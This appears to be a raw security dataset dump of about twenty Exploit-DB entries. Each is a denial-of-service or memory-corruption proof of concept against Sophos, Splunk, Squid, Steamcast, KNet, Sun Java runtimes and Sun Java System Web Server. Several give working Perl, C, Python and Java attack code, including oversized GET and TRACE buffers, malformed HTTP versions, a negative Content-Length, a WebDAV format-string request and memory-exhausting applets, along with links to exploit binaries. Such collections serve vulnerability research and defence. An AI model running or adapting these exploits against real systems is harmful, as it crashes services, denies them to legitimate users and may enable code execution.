deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2911
Description: Sophos AntiVirus - '.CHM' Chunk Name Length Memory Corruption (PoC)
Type: dos
Platform: multiple
Date: 2006-12-10
Author: Damian Put

Exploit:
Sophos Antivirus CHM Chunk Name Length Memory Corruption Vulnerability

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2911.chm (12092006-sophos_namelen.chm)

# milw0rm.com [2006-12-10]
Exploit-DB #2910
Description: Sophos AntiVirus - '.CHM' File Heap Overflow (PoC)
Type: dos
Platform: multiple
Date: 2006-12-10
Author: Damian Put

Exploit:
Sophos Antivirus CHM File Heap Overflow Vulnerability

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2910.chm (12092006-sophos_chunkheap.chm)

# milw0rm.com [2006-12-10]
Exploit-DB #36247
Description: Splunk 4.1.6 Web Component - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2011-10-20
Author: Filip Palian

Exploit:
source: https://www.securityfocus.com/bid/50298/info

Splunk is prone to a remote denial-of-service vulnerability.

Exploiting this issue will exhaust system resources and cause the application to crash, denying service to legitimate users. 

http://www.example.com/en-US/prototype/segmentation_performance?lines=999&depth=99999999&segment=foo&element=span&attribute=class&segmentation=nested

http://www.example.com/en-US/prototype/segmentation_performance?lines=[PII_REDACTED][PII_REDACTED][PII_REDACTED]99999999&depth=[PII_REDACTED][PII_REDACTED][PII_REDACTED]99999999&segment=foo&element=span&attribute=class&segmentation=nested
https://localhost/en-US/debug/sso
Exploit-DB #38038
Description: Splunk 4.3.1 - Denial of Service
Type: dos
Platform: multiple
Date: 2012-11-19
Author: Alexander Klink

Exploit:
source: https://www.securityfocus.com/bid/56581/info

Splunk is prone to multiple cross-site scripting vulnerabilities and a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

"--splunk-cooked-mode-v3--\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0.\0\0\0\SOH\0\0\0\DC3__s2s_capabilities\0\0\0
\0\STXA\0\0\0\0\0\0\0\0\ENQ_raw\0"
Exploit-DB #8021
Description: Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service
Type: dos
Platform: multiple
Date: 2009-02-09
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

########################################################################################
#
#    Reference:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0478
#     https://www.securityfocus.com/bid/33604/discuss
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#         Visit:        http://www.evilfingers.com/
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com\
#        Blog:      http://www.darshanams.blogspot.com/
#        Date:      09th February, 2009
#
############Special thanx2 Joshua Morin, Mikko Varpiola, and Jukka Taimisto ############
########################################################################################
######Thanx to str0ke,milw0rm, @rp m@n,security folks and all INDIAN H@CKER$############
########################################################################################


use IO::Socket;

print("\nEnter IP Address of Vulnerable Server: \n");
$vuln_server_ip = <STDIN>;
chomp($vuln_server_ip);

@malicious_version=("9.9","%.%","%%","#.#","\$.\$","*.*","975.975","10000999");

foreach $mal (@malicious_version)
{
   $sock_http = IO::Socket::INET->new(  PeerAddr => $vuln_server_ip,
                                     PeerPort => 80,
                                     Proto    => 'tcp') || "Unable to connect to HTTP Server";

   $http_attack = "GET / HTTP/$mal\r\n".
   "Host: $vuln_server_ip\r\n".
   "Keep-Alive: 300\r\n".
   "Connection: keep-alive\r\n\r\n";

   print $sock_http $http_attack;
   sleep(3);

   close($sock_http);
}

# milw0rm.com [2009-02-09]
Exploit-DB #33104
Description: Star Wars Battlefront II 1.1 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-06-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/35806/info

Star Wars Battlefront II is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.
Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

This issue affects Star Wars Battlefront II 1.1 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33104.zip
Exploit-DB #8429
Description: Steamcast 0.9.75b - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-04-14
Author: ksa04

Exploit:
#!/usr/bin/perl
#Steamcast 0.9.75 beta Remote Denial of Service
#Download :http://www.steamcast.com
#Tested Under Windows XP and linux
#Dork for test :"Powered By Steamcast "0.9.75 beta
#Author: ksa04
use strict;
use warnings;
use IO::Socket;

my $host = shift || die "usage: perl $0 host port\n";
my $port = shift ;

my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp')
or die "error: $!\n";

$sock->send("POST / HTTP/1.1\r\n");
$sock->send("Content-Length: -100\r\n\r\n");


$sock->close;

print "[+]Done...\n";

# milw0rm.com [2009-04-14]
Exploit-DB #25165
Description: Stormy Studios KNet 1.x - Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2005-02-26
Author: Expanders

Exploit:
// source: https://www.securityfocus.com/bid/12671/info

A remote buffer overflow vulnerability affects Stormy Studios KNet. This issue is due to a failure of the application to securely copy user-supplied input into finite process buffers.

An attacker may leverage this issue to execute arbitrary code on a computer with the privileges of the affected server, facilitating unauthorized access. 

/*

      KNet <= 1.04c is affected to a remote buffer overflow in GET command.
   This PoC demostrate the vulnerability.

      KNet <= 1.04c PoC Denial Of Service Coded by: Expanders

      Usage: ./x0n3-h4ck_Knet-DoS.c <Host> <Port>

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);

int main(int argc, char *argv[]) {

    struct sockaddr_in trg;
    struct hostent *he;
 long addr;
    int sockfd, buff,rc;
 char evilbuf[1024];
 char buffer[1024];
 char *request;
 if(argc < 3 ) {
  help(argv[0]);
  exit(0);
 }
 printf("\n\n-=[ KNet <= 1.04c PoC DoS ::: Coded by Expanders ]=-\n");
    he = gethostbyname(argv[1]);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
 request = (char *) malloc(12344);
    trg.sin_family = AF_INET;
    trg.sin_port = htons(atoi(argv[2]));
    trg.sin_addr = *((struct in_addr *) he->h_addr);
    memset(&(trg.sin_zero), '\0', 8);
 printf("\n\nConnecting to target \t...");
 rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
 if(rc==0)
 {
  printf("[Done]\nBuilding evil buffer\t...");
  memset(evilbuf,90,1023);
  printf("[Done]\nSending evil request \t...");
  sprintf(request,"GET %s \n\r\n\r",evilbuf);
  send(sockfd,request,strlen(request),0);
  printf("[Done]\n\n[Finished] Check the server now\n");
 }
 else
  printf("[Fail] -> Unable to connect\n\n");
 close(sockfd);
 return 0;

}

void help(char *program_name) {

 printf("\n\t-=[ KNet <= 1.04b PoC Denial Of Service ]=-\n");
 printf("\t-=[ ]=-\n");
 printf("\t-=[ Coded by
ders -/www.x0n3-h4ck.org\\- ]=-\n\n");
 printf("Usage: %s <Host> <Port>\n",program_name);
}
Exploit-DB #24778
Description: Sun Java Applet 1.x - Invocation Version Specification
Type: dos
Platform: multiple
Date: 2004-11-25
Author: Peter Greenwood

Exploit:
source: https://www.securityfocus.com/bid/11757/info

Java provides support for dynamic and static versioning when loading applets in the Java plug-in. This means that during the invocation of an applet, a user can request that a particular version of a plug-in be used to run the applet. The feature is accessible through various HTML tags that allow Java applets to be embedded in HTML documents, such as the EMBED, OBJECT, and APPLET tags. 

This feature presents a security weakness in that it may be abused to cause a previous version of a plug-in that is known to be prone to security vulnerabilities to be loaded in lieu of a more recent, fixed version. For this design flaw to pose a security threat, a vulnerable plug-in must either already be installed on the host computer or the user must manually install a version that is prone to security vulnerabilities. If a targeted version is not installed, the user may be prompted to install it.

This weakness could result in a false sense of security, since the user may believe that installing an updated version will eliminate vulnerabilities in previous versions. 

Note that since this feature is supported in various browsers, the browsers themselves may be prone to the issue. Some browsers may not allow a Java plug-in that is no longer registered with the browser to run. 

<html> 
<title> Java Version Downgrade proof-of-concept </title> 
<body> 
Demonstration uses the following vulnerability: 
<br> 
https://www.securityfocus.com/bid/8879 
<br> 
Source code for Simple.class: 
<br> 
https://www.securityfocus.com/bid/8879/exploit/ 
<p> 
Added this code to Simple.java for debugging purposes: 
<br> 
String javaVersion = System.getProperty("java.version"); 
<br> 
addItem("Java version: " + javaVersion); 
<p> 
This proof-of-concept was tested on a Windows system using IE with 
the following Java installations: 
<br> 
Sun JRE 1.3.1_07 (vulnerable to BID 8879) 
<br> 
Sun JRE 1.3.1_13 (not vulnerable to BID 8879) 
<br> 
note: invoking applet normally should run Simple.class in JRE 
1.3.1_13. 
<p> 
<OBJECT classid="clsid:CAFEEFAC-0013-0001-0007-ABCDEFFEDCBA" 
width = "600" height = "100" 
codebase="http://java.sun.com/products/plugin/autodl/jinstall-1_3_1_07-windows-i586.cab##Version=1_3_1_07"> 
<PARAM NAME="code" VALUE="Simple.class"> 
</OBJECT> 
</body> 
</html>
Exploit-DB #27901
Description: Sun Java Runtime Environment 1.3/1.4/1.5 - Nested Array Objects Denial of Service
Type: dos
Platform: multiple
Date: 2006-05-22
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/18058/info

The Sun Java Runtime Environment is vulnerable to a denial-of-service vulnerability. This issue is due to the software's failure to handle exceptional conditions. 

This issue is reported to affect Java Runtime Environment versions up to 1.4.2_11 and 1.5.0_06. This issue will crash Internet browsers running an affected Java plug-in. 

An attacker may exploit this issue to cause a vulnerable application -- as well as all processes spawned from the application -- to crash, denying service to legitimate users. Due to the scope of the crash, data loss may occur.

public class MemApplet extends java.applet.Applet{ 
/* (c) Marc Schoenefeld */ 
static Object o = null; 
public static void main(String[] args) { 
(new MemApplet()).doit(); 
} 
public void paint(java.awt.Graphics p) { 
(new MemApplet()).doit(); } 
void doit () { 
while (true) try { Object[] oarr = {o}; o = oarr; } catch (Throwable t) { o = null; System.out.println("Wurfgeschoss: " + t); } } }
Exploit-DB #24242
Description: Sun Java Runtime Environment 1.4.x - Font Object Assertion Failure Denial of Service
Type: dos
Platform: multiple
Date: 2004-06-28
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/10623/info

The Sun Java Runtime Environment Font object is reportedly vulnerable to an assertion failure denial of service vulnerability. This issue is due to a failure of the process to handle exceptional conditions when processing font objects.

This issue is reported to affect Java Runtime Environment versions 1.4.1 through 1.4.2; it is likely however that other versions are also affected. This issue will crash Internet browsers running an affected Java plug-in as well.

This issue may be exploited by an attacker to cause a vulnerable application, as well as all processes spawned from the application, to crash, denying service to legitimate users. Due to the scope of the crash, data loss may occur. 

package org.illegalaccess.jvmcrash; 

import java.util.*; 
import java.applet.Applet; 
import java.awt.color.*; 
import java.awt.*; 
import java.awt.event.*; 
import java.io.*;


class BadData{public final static byte[] data =  {some bytes};} 


public class FontIPSClass extends Applet{


    class MyButtonListener implements ActionListener {
        public void actionPerformed(ActionEvent event) {
		doit(new ByteArrayInputStream(BadData.data));         	
            
        }
    }

	Hashtable files = new Hashtable(); 
	TextArea ta ;
	Button bu; 
	public FontIPSClass () throws Exception {
		initme(); 
	}

	
	public static void main(String[] a) throws Exception  {
		//System.out.println(a0+testFileExistence(a0)); 
		if (a.length > 0)  
		doit(new FileInputStream(a));
		else 
		doit(new ByteArrayInputStream(BadData.data));
	}

	
	
	private void initme() {
		ta = new TextArea ("",5, 40,
                                     TextArea.SCROLLBARS_NONE);
                add(ta);
                bu = new Button("Crash It");  
                add(bu); 
		bu.setBackground(Color.orange);
    
 		bu.addActionListener(new MyButtonListener ());               
                
		
	}
	
	private static void doit(InputStream in) {
		        	try {
		       
        	Font f = Font.createFont(Font.TRUETYPE_FONT,in); 
        	System.out.println(f.getFamily()); 
       	    	System.out.println(f.getPSName());
        	System.out.println(f.getNumGlyphs());  
        	}
               catch (Exception e) {
               	e.printStackTrace(); 
        	}

	}	
	
}
Exploit-DB #31343
Description: Sun Java Runtime Environment 1.x - Image Parsing Heap Buffer Overflow
Type: dos
Platform: multiple
Date: 2008-03-06
Author: Chris Evans

Exploit:
source: https://www.securityfocus.com/bid/28125/info

Sun Java Runtime Environment is prone to a heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

This issue affects the following products and versions:

JDK and JRE 6 prior to Update 5
JDK and JRE 5.0 prior to Update 15
SDK and JRE prior to 1.4.2_17
SDK and JRE prior to 1.3.1_22

This vulnerability was previously covered in BID 28083 (Sun Java SE Multiple Security Vulnerabilities), but has been given its own record to better document the issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31343.jpg
Exploit-DB #24763
Description: Sun Java Runtime Environment 1.x Java Plugin - JavaScript Security Restriction Bypass
Type: dos
Platform: multiple
Date: 2004-11-22
Author: Jouko Pynnonen

Exploit:
source: https://www.securityfocus.com/bid/11726/info

A vulnerability is reported to exist in the access controls of the Java to JavaScript data exchange within web browsers that employ the Sun Java Plug-in. Reports indicate that it is possible for a malicious website that contains JavaScript code to exploit this vulnerability to load a dangerous Java class and to pass this class to an invoked applet.

[script language=javascript]
var c=document.applets[0].getClass().forName('sun.text.Utility');
alert('got Class object: '+c)
[/script]
Exploit-DB #33472
Description: Sun Java System Web Server 6.1/7.0 - 'TRACE' Heap Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2010-01-06
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/37648/info

Sun Java System Web Server is prone to a remote heap-based buffer-overflow vulnerability.

Attackers can exploit this issue to crash the affected application or to obtain potentially sensitive information that may aid in further attacks.

The following are vulnerable:

Sun Java System Web Server 7.0 prior to 7.0 Update 8
Sun Java System Web Server 6.1 prior to 6.1 Service Pack 12
Sun Java System Web Proxy Server 4.0 prior to 4.0 Service Pack 13 

#!/usr/bin/env python
# sun_trace.py
#
# Use this code at your own risk. Never run it against a production system.
# 
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

import socket
import sys

def send_req(host,port):
  buf="TRACE /%s HTTP/1.0\n" % ("A"*4074) 
  for i in range(0,10):
    buf += "%d"%i + ":\n"
                               
  for i in range(ord('a'), ord('z')):
    buf += chr(i) + ":\n"

  buf += "\n" 

  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.connect((host,port))
  sock.sendall(buf)
  resp=""
  while 1:
    s= sock.recv(4000)
    if len(s)<1: break
    resp+=s
  print list(resp)

if __name__=="__main__":
 if len(sys.argv)<3:
  print "usage: %s host port" % sys.argv[0]
  sys.exit()

 send_req(sys.argv[1],int(sys.argv[2]))
Exploit-DB #33560
Description: Sun Java System Web Server 6.1/7.0 - WebDAV Format String
Type: dos
Platform: multiple
Date: 2010-01-22
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/37910/info

Sun Java System Web Server is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input. The issue affects the WebDAV functionality.

Currently very few technical details are available. We will update this BID as more information emerges.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The issues affects the following:

Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12 

s="PROPFIND /pages/ HTTP/1.1\n" # WebDAV URI
s+="Host: localhost\n"
s+="Depth: 0\n"
s+="Content-Length: 58\n"
s+="Content-Type: application/xml\n\n"
s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>"
Exploit-DB #33559
Description: Sun Java System Web Server 7.0 Update 6 - 'admin' Server Denial of Service
Type: dos
Platform: multiple
Date: 2010-01-22
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/37909/info

Sun Java System Web Server is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the effected application, denying service to legitimate users.

Sun Java System Web Server 7.0 Update 6 is affected; other versions may also be vulnerable. 

The following example request is available:

" / HTTP/1.0\n\n"
Exploit-DB #23276
Description: Sun Java Virtual Machine 1.x - Slash Path Security Model Circumvention
Type: dos
Platform: multiple
Date: 2003-10-22
Author: Last Stage of Delirium

Exploit:
source: https://www.securityfocus.com/bid/8879/info

A vulnerability has been identified in the Sun Java Virtual Machine packaged with JRE and SDK. This issue results in the circumvention of the Java Security Model, and can permit an attacker to execute arbitrary code on vulnerable hosts. 

import java.applet.Applet;
import java.awt.Graphics;
import java.lang.Class;
import java.security.AccessControlException;

public class Simple extends Applet {

StringBuffer buffer;

public void init() {
buffer = new StringBuffer();
}

public void start() {
ClassLoader cl = this.getClass().getClassLoader();
try {
Class cla =
cl.loadClass("sun/applet/AppletClassLoader"); // Note the slashes
addItem("No exception in loadClass. Vulnerable!");
} catch (ClassNotFoundException e) {
addItem("ClassNotFoundException in loadClass - " + e);
} catch (AccessControlException e) {
addItem("AccessControlException in loadClass - Not
Vulnerable!");
}

}
Exploit-DB #22358
Description: Sun JDK/SDK 1.3/1.4 / IBM JDK 1.3.1 / BEA Systems WebLogic 5/6/7 - java.util.zip Null Value Denial of Service (1)
Type: dos
Platform: multiple
Date: 2003-03-15
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/7109/info

Several implementations of the Java Virtual Machine have been reported to be prone to a denial of service condition. This vulnerability occurs in several methods in the java.util.zip class. 

The methods can be called with certain types of parameters however, there does not appear to be proper checks to see whether the parameters are NULL values. When these native methods are called with NULL values, this will cause the JVM to reach an undefined state which will cause it to behave in an unpredictable manner and possibly crash.

The following cfm will cause Macromedia ColdFusin MX to fail:

- ------------------crash.cfm-------------------------
<!H1> Coldfusion MX crash with Java <!/h1>
<!h2> Marc Schoenefeld @ illegalaccess.org <!/h2>

<!cfapplication name="Marc" sessionmanagement="yes">


<!cfobject action="create" type="Java" class="java.lang.String" name="s">
<!cfobject action="create" type="Java" class="java.util.zip.CRC32" name="c">
<!cfset ret=s.init()>
<!cfset ret=c.init()>
<!cfset str = s.getBytes()>
<!cfset retval = c.update(str,[PII_REDACTED],4)>
- ------------------crash.cfm-------------------------